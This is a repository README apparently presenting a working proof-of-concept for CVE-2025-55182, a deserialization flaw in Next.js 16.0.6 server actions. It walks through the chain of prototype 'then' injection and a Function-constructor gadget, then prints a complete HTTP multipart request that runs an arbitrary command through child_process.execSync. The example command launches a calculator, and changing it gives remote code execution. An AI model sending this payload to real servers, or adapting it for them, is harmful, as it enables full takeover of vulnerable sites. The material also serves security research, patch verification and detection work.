orgito1015/cve-2025-55182-rce-exploitMore exploit-focused; great for security research repos.
This repository contains a working proof-of-concept (POC) for CVE-2025-55182, a critical deserialization vulnerability affecting Next.js 16.0.6.
The exploit abuses $@ chunk deserialization and Chunk.prototype.then to gain full control over the chunk resolution process and achieve arbitrary code execution (RCE) on the server.
Next.js uses internal Chunk objects and a streaming/deserialization mechanism for server actions.
By abusing $@ to deserialize a Chunk reference and injecting Chunk.prototype.then into the root object, an attacker can:
then(...) with attacker-controlled thisstatus to resolved_modelinitializeModelChunk with a fake chunk fully controlled by the attackerchunk._response methods to reach dangerous internal behaviorThe final goal is to trigger Blob deserialization, which executes a call like:
response._formData.get(response._prefix)
By setting response._formData.get = Function and putting arbitrary code in response._prefix, the attacker can execute arbitrary system commands.
The HTTP request in poc/CVE-2025-55182.http demonstrates the exploit against Next.js 16.0.6 running locally, spawning xcalc via child_process.execSync:
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
/
├── README.md
├── DISCLAIMER.md
├── poc/
│ └── CVE-2025-55182.http
└── analysis/
└── exploitation-notes.md
This project is provided strictly for educational and research purposes only. Do NOT use this exploit on any system you do not own or do not have explicit written permission to test.
The author takes no responsibility for any misuse or damage caused.